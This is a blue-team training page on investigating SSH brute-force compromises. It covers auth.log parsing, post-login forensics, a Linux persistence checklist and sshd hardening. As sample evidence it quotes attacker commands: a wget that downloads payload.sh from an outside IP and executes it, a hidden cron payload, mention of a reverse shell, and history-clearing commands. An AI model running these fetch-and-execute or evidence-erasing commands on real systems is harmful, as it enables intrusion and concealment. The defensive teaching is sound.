Blue Team · Easy
SSH Brute Force Detection and Response

Master Linux SSH brute force investigation — parsing auth.log with grep and awk to rank attacking IPs, confirming whether any login succeeded, tracing post-login attacker activity through bash history and process logs, understanding the full Linux persistence mechanism landscape, and hardening SSH configuration to close the attack surface permanently.

Easy Blue Team Path ⏱ 22 min read
Learning Progress
0%

SSH Brute Force Response

SSH is the standard remote administration protocol for Linux servers. Because it provides full shell access it is constantly targeted by automated brute force bots. Every internet-facing SSH server receives thousands of attempts daily from bots running breach credential lists.

Linux logs all SSH authentication attempts in auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS). A SOC analyst must determine: attack origin, whether any login succeeded, what the attacker did if they got in, and how to stop them.

💡The logs do not lie: A brute force that succeeded leaves a clear signature — thousands of "Failed password" entries followed by one "Accepted password" from the same IP address. The presence of "Accepted" after "Failed" from the same source is the confirmed compromise pattern.

The Scale of the Problem

Internet-facing SSH on port 22 is attacked from the moment a server comes online. Honeypot research consistently shows that a fresh Linux server with SSH on port 22 and password authentication enabled receives its first login attempt within minutes of being provisioned, and thousands of attempts within 24 hours. These are fully automated bots running through breach credential databases — testing common usernames (root, ubuntu, admin, deploy, test) against passwords from previous data breaches and common password lists.

The practical implication for analysts: a brute force in auth.log is not unusual or targeted — it is background noise from the internet. The critical question is always whether the background noise included a successful login. A 4,821-attempt brute force with zero successes is lower priority than a 50-attempt brute force with one success.

📌 Non-Technical Analogy

Imagine a physical lock on a door that records every key insertion attempt in a paper log. The internet's automated bots are like a robot standing outside every door in every city simultaneously, trying millions of keys from stolen key databases. Most attempts fail and the log fills with unsuccessful tries. But when the robot finds a matching key, the log shows: thousands of failures, one success, door opened. The analyst's job is to find that success among the noise, and then check what the robot did after it got inside — because it did not come for sightseeing. The bash history is the security camera recording of everything it touched inside.

Reading auth.log

auth.log Entry Format — Field Reference
# Failed attempt:
May 14 03:22:01 server sshd[1234]: Failed password for admin from 45.33.32.156 port 54231 ssh2

# Successful login:
May 14 03:24:17 server sshd[1289]: Accepted password for ubuntu from 45.33.32.156 port 54488 ssh2

# Fields: timestamp | hostname | process[PID] | event | username | source IP | port | protocol
# Key distinction: "Failed password" vs "Accepted password" -- that one word is everything

SSH Brute Force Investigation

Example 01Count failed attempts per IP

Extract and rank attacking IPs to identify the primary threat source. The IP with the highest failure count is the active brute force attempt.

grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head
  4821  45.33.32.156
   342  185.234.219.8
    89  103.21.58.200
# 4,821 failed attempts from one IP -- active automated brute force
# 342 and 89 are lower-volume scanners -- common background noise
Example 02Check if a login succeeded

The critical question: did the brute force succeed? Always check "Accepted password" from the attacking IP — this is the binary question that determines incident severity.

grep "45.33.32.156" /var/log/auth.log | grep "Accepted"
May 14 03:24:17 sshd[1289]: Accepted password for ubuntu from 45.33.32.156
# Brute force SUCCEEDED -- ubuntu account compromised at 03:24:17
# Disable the account immediately, investigate post-login activity
# Time gap: first attempt 03:22:01, success 03:24:17 -- 136 seconds of attack
Example 03Post-login activity investigation

Check bash history and process logs to understand exactly what the attacker did after gaining access.

cat /home/ubuntu/.bash_history
whoami
id
uname -a
wget http://45.33.32.156/payload.sh
chmod +x payload.sh && ./payload.sh
crontab -e
# Classic post-compromise sequence: recon, download payload, execute, persist via cron
# Note: bash_history can be cleared by attacker -- absence of history is also suspicious
Example 04Firewall block and SSH hardening

Block the attacker at the firewall immediately, then apply SSH hardening to prevent recurrence — key-based auth eliminates brute force entirely.

ufw deny from 45.33.32.156
# Then harden /etc/ssh/sshd_config to eliminate password auth:
PasswordAuthentication no      (SSH keys only -- brute force impossible)
PermitRootLogin no             (direct root SSH always disabled)
MaxAuthTries 3                 (limit attempts per connection)
AllowUsers deploy webadmin     (explicit allowlist of permitted users)
systemctl restart sshd
apt install fail2ban -y
# fail2ban auto-blocks IPs after N failures -- rate-limits brute force

What You Need to Know

📋
auth.log
Primary Linux authentication log. Records every SSH login attempt, sudo, su, and PAM events. The complete forensic record of authentication on the host.
🔑
Key-Based Auth
SSH keys cannot be brute forced — private keys are computationally infeasible to guess. Disabling password auth (PasswordAuthentication no) eliminates the brute force attack surface entirely.
🚫
Fail2Ban
Monitors auth.log and automatically blocks IPs after N failed attempts. A standard hardening control that makes SSH brute force practically infeasible even when password auth must remain enabled.
🔍
Success After Failures
Many "Failed password" entries followed by one "Accepted password" from the same IP is the confirmed brute force success pattern. The count of failures matters less than the presence of a success.

Advanced auth.log Analysis — Beyond the Basics

The four-command workflow (grep Failed, count IPs, grep Accepted, check bash_history) covers the majority of SSH brute force investigations. But attackers who successfully compromise a system often take steps to cover their tracks. Understanding what else to look for — and what the absence of expected evidence means — is what separates a complete investigation from one that leaves gaps.

Username Targeting Patterns

The usernames an attacker tests reveal whether the attack is opportunistic (generic bot using a standard list) or targeted (attacker with prior knowledge of the environment).

Extract usernames being tested — identify opportunistic vs targeted
grep "Failed password" /var/log/auth.log | awk '{print $9}' | sort | uniq -c | sort -rn | head -20
  892  root
  741  admin
  438  ubuntu
  312  deploy
  289  test
   47  dbadmin
   31  jenkins
# root/admin/ubuntu/deploy/test = generic bot list -- opportunistic
# dbadmin and jenkins suggest attacker knows what runs on this server
# If attacking specific service accounts: likely targeted, not generic scan

What Bash History Cannot Tell You

Bash history is the first place analysts check and the first thing sophisticated attackers clear or disable. A pristine or missing bash history is itself a finding. Several techniques are used to hide post-compromise commands:

When bash history is empty or missing for a confirmed-compromised account, fall back on: auditd process logs (if configured), /var/log/syslog for process creation events, crontab entries (crontab -l -u ubuntu), and filesystem timestamps on recently modified files (find / -newer /tmp -type f -mtime -1 2>/dev/null).

Linux Persistence Mechanisms — The Complete Checklist

After gaining access via SSH brute force, attackers establish persistence to ensure they retain access even if the compromised password is changed. Unlike Windows where persistence often involves the registry, Linux persistence is distributed across several filesystem locations and system mechanisms that must each be checked.

File-Based Persistence

SSH authorized_keys: Adding the attacker's public key to ~/.ssh/authorized_keys allows key-based login that survives password changes and is unaffected by fail2ban. Check all user home directories.

Crontab entries: crontab -l -u username for each user, plus /etc/cron.* directories and /var/spool/cron/crontabs/. Cron persistence runs regardless of whether the user is logged in.

Startup scripts: /etc/rc.local, /etc/init.d/, ~/.bashrc, ~/.profile. Commands appended to profile scripts run on every shell start.

Systemd services: systemctl list-units --type=service and /etc/systemd/system/. A new service with no business justification is a persistence mechanism.

Account-Based Persistence

New user accounts: cat /etc/passwd | grep -v nologin | grep -v false — check for new interactive accounts. Attackers often create a new user with sudo rights as a stealthy backdoor.

Sudo rights modification: cat /etc/sudoers and ls /etc/sudoers.d/ — new sudo grants for unexpected accounts or NOPASSWD rules for attacker-created accounts.

Modified authorized_keys for root: Check /root/.ssh/authorized_keys separately — root key-based login persists even if PermitRootLogin is set to no for password auth (key-based root auth may still be permitted depending on config).

UID 0 accounts: awk -F: '$3==0' /etc/passwd — any account with UID 0 has effective root. There should be exactly one: root. Any additional UID 0 account is a backdoor.

Example 05Full Linux persistence hunt — post-compromise checklist

A systematic sweep of all persistence locations on the compromised ubuntu account after brute force success confirmed.

# 1. Check authorized_keys for all users:
find /home /root -name "authorized_keys" -exec cat {} \;
ssh-rsa AAAAB3NzaC1yc2E... attacker@kali  (added by attacker)

# 2. Check all crontabs:
crontab -l -u ubuntu
*/5 * * * * /tmp/.update >/dev/null 2>&1  (hidden payload, runs every 5 min)

# 3. Check for new interactive accounts:
awk -F: '$3>=1000 && $7!~/nologin|false/' /etc/passwd
backdoor:x:1001:1001::/home/backdoor:/bin/bash  (new account created)

# 4. Check for UID 0 accounts (should only be root):
awk -F: '$3==0' /etc/passwd
root:x:0:0:root:/root:/bin/bash  (expected)
# No additional UID 0 accounts found -- good

# 5. Check systemd for new services:
systemctl list-units --type=service --state=enabled | grep -v "snap\|snap-"
update-checker.service  enabled  (no business justification -- investigate)

SSH Hardening — From Vulnerable to Defensible

The default SSH configuration on most Linux distributions prioritises compatibility over security. A hardened configuration eliminates the brute force attack surface entirely and significantly reduces the remaining attack surface. The single most impactful change — disabling password authentication — takes 30 seconds to implement and makes SSH brute force mathematically infeasible.

sshd_config Hardening

PasswordAuthentication no — key-based auth only. Eliminates brute force entirely. Before applying, ensure at least one authorised key is in place.

PermitRootLogin no — disable direct root SSH login. Always use a regular account with sudo escalation.

MaxAuthTries 3 — disconnect after 3 failed attempts. Dramatically slows automated brute force tools.

AllowUsers deploy webadmin — explicit allowlist. All other users denied SSH regardless of their system password.

Port 2222 — moving SSH off port 22 eliminates the lowest-effort bots (though not determined attackers).

Network-Level Controls

Fail2ban: Installs in minutes, monitors auth.log, and bans IPs after configurable failed attempts (default 5 in 10 minutes). Essential complement to sshd hardening.

Firewall allowlist: If SSH is only needed from specific IP ranges (office, VPN, jump server), allowlist those ranges and deny all others. ufw allow from 10.0.0.0/8 to any port 22 then ufw deny 22.

VPN-gated SSH: For highest-security environments, remove direct internet SSH entirely. Require VPN authentication before SSH is accessible. Eliminates the internet-facing attack surface completely.

Jump hosts / bastion: Route all SSH through a hardened bastion server with full audit logging. Never allow direct SSH from the internet to production servers.

IR Scenario4,821 Failures, One Success — Cron Persistence Planted

Alert: IDS fires on high-volume SSH failures from 45.33.32.156 against web-server-01 (18.185.44.91). Analyst checks auth.log via centralised SIEM.

Failure count: 4,821 failed password attempts across root (1,843), admin (1,244), ubuntu (892), and other common usernames. Attack started at 03:22:01, automated and fast.

Success check: grep "45.33.32.156" auth.log | grep Accepted — returns one line: ubuntu account, 03:24:17. Brute force succeeded in 136 seconds. Severity escalated to Critical.

Post-login activity: bash_history shows: whoami, id, wget http://45.33.32.156/payload.sh, chmod +x payload.sh, ./payload.sh, crontab -e. Payload script downloaded and executed. Crontab modified.

Persistence found: Crontab entry for ubuntu user: */5 * * * * /tmp/.update >/dev/null 2>&1 — a hidden file running every 5 minutes. Authorized_keys for ubuntu had one new entry — attacker's public key. Two persistence mechanisms total.

Containment: ubuntu account locked. Attacker IP blocked at firewall and network ACL. Crontab entry removed. /tmp/.update deleted. Authorized_keys entry removed. payload.sh analysed — reverse shell to 45.33.32.156:4444. Firewall logs show three outbound connections to that IP before containment — connection was live for 14 minutes.

Hardening applied: PasswordAuthentication no in sshd_config (authorised admin keys already in place), fail2ban installed, MaxAuthTries reduced to 3. Ubuntu password changed. Incident closed with 14-minute attacker dwell time recorded.

Core Concepts Summary

📋
auth.log Structure
timestamp | hostname | sshd[PID] | event | username | from IP | port. "Failed password" vs "Accepted password" — that one word changes severity from background noise to active compromise.
🔑
Key-Based Auth
PasswordAuthentication no eliminates brute force entirely. SSH keys are 2048-4096 bit RSA or Ed25519 — computationally infeasible to guess. 30-second config change, eliminates an entire attack class.
🚫
Fail2Ban
Monitors auth.log, blocks IPs after N failures (default 5/10min). Dramatically raises the cost of brute force. Works even when password auth must remain enabled for legacy reasons.
🔍
Confirmed Success Pattern
N "Failed password" + 1 "Accepted password" from same IP = brute force success. Count of failures is secondary — one success changes the entire incident severity and response path.
📝
Bash History Limitations
unset HISTFILE prevents recording. rm ~/.bash_history deletes evidence. Empty history on a confirmed-compromised account is a finding, not evidence of clean system. Fall back to auditd and syslog.
🔄
Linux Persistence Checklist
authorized_keys (all users) → crontab (all users + /etc/cron.*) → new interactive accounts → UID 0 accounts → sudo grants → systemd services → ~/.bashrc and /etc/profile. Check all before declaring clean.
🎯
Username Targeting
Generic bots test root/admin/ubuntu/deploy. Specific service accounts (jenkins, dbadmin) suggest targeted attack with prior knowledge of the environment. Different threat levels, different escalation paths.
🏰
Bastion/VPN Architecture
Remove direct internet SSH entirely. VPN or bastion host required before SSH is reachable. Eliminates the entire internet-facing brute force attack surface at the network level — more effective than any sshd config change.
Ready to put it into practice?
Proceed to the Lab

You've covered the theory. Now apply it hands-on in the simulated environment.

Start Lab — IR06 Brute Force SSH
← Return to all labs